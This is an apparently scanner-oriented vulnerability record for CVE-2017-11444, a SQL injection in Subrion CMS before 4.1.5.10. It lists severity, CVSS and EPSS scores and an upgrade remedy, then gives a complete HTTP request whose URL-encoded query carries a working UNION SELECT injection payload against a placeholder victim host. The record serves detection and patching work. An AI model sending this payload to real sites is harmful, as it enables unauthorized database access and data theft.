| Title | Subrion CMS <4.1.5.10 - SQL Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. |
| Remediation | Upgrade Subrion CMS to version 4.1.5.10 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.74991 |
| CVE ID | CVE-2017-11444 |
| CWE ID | CWE-89 |
| Tags | cve2017 cve sqli subrion intelliants vuln |
Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
GET /search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%277a76747169%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-11444.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-11444.pcap
N/AN/A